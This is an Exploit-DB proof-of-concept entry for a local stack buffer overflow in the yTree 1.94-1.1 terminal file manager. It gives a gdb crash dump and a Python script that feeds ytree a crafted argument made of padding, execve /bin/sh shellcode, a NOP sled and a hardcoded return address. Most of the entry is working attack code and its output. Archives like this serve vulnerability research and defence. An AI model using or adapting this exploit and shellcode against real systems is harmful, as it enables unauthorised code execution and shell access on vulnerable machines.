Exploit-DB #39406
Description: yTree 1.94-1.1 - Local Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2016-02-03
Author: Juan Sacco

Exploit:
# Exploit Author: Juan Sacco - http://www.exploitpack.com -jsacco@exploitpack.com
# Program affected: yTree - File manager for terminals v1.94-1.1
# Description: yTree is prone to a stack-based overflow, an attacker could exploit 
# this issue to execute arbitrary code in the context of the application. 
# Failed exploit attempts will result in a denial-of-service condition.
#
# Tested and developed on:  Kali Linux 2.0 x86 - https://www.kali.org
#
# Program Description: This is a file manager that separates files from directories
# and allows you to select and manage files from different directories.  
# It works on black and white or color terminals and is UTF-8 locales aware.
# Vendor homepage: http://www.han.de/~werner/ytree.html
# Kali Linux 2.0 package: pool/main/y/ytree/ytree_1.94-1.1_i386.deb
# MD5sum: 7d55d9c7e8afb4405c149463613f596b
#
# Program received signal SIGSEGV, Segmentation fault.
# --------------------------------------------------------------------------[regs]
#   EAX: 0x41414141  EBX: 0xB7FB8000  ECX: 0x00000000  EDX: 0x08071342  o d I t s z a P c 
#   ESI: 0xBFFFF134  EDI: 0x41414141  EBP: 0x0806FC60  ESP: 0xBFFFDC50  EIP: 0xB7F888C1
#   CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
# --------------------------------------------------------------------------[code]
# => 0xb7f888c1 <werase+49>: mov    eax,DWORD PTR [eax+0x4c]
#    0xb7f888c4 <werase+52>: mov    DWORD PTR [esp+0x24],eax
#    0xb7f888c8 <werase+56>: mov    eax,DWORD PTR [edi+0x50]
#    0xb7f888cb <werase+59>: mov    DWORD PTR [esp+0x28],eax
#    0xb7f888cf <werase+63>: mov    eax,DWORD PTR [edi+0x54]
#    0xb7f888d2 <werase+66>: mov    DWORD PTR [esp+0x2c],eax
#    0xb7f888d6 <werase+70>: mov    eax,DWORD PTR [edi+0x58]
#    0xb7f888d9 <werase+73>: mov    DWORD PTR [esp+0x30],eax
# --------------------------------------------------------------------------------
# 0xb7f888c1 in werase () from /lib/i386-linux-gnu/libncursesw.so.5
# gdb$ backtrace 
# 0  0xb7f888c1 in werase () from /lib/i386-linux-gnu/libncursesw.so.5
# 1  0x08050f43 in ?? ()
# 2  0x08051182 in ?? ()
# 3  0x0805972f in ?? ()
# 4  0x0804a68a in ?? ()
# 5  0xb7d82a63 in __libc_start_main (main=0x804a560, argc=0x2, argv=0xbffff294, init=0x8064df0, fini=0x8064de0, rtld_fini=0xb7fedc90 <_dl_fini>, stack_end=0xbffff28c) at libc-start.c:287
# 6  0x0804a701 in ?? ()
 
import os,subprocess
def run():
  try:
    print "# yTree Buffer Overflow by Juan Sacco"
    print "# It's fuzzing time on unusable exploits"
    print "# This exploit is for educational purposes only"
    # JUNK + SHELLCODE + NOPS + EIP
 
    junk = "\x41"*65
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*1200
    eip = "\xd0\xf6\xff\xbf"
    subprocess.call(["ytree",' ', junk + shellcode + nops + eip])
 
  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, yTree not found!"
    else:
        print "Error executing exploit"
    raise
 
def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)
 
if __name__ == '__main__':
  try:
    print "Exploit yTree v1.94-1.1 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()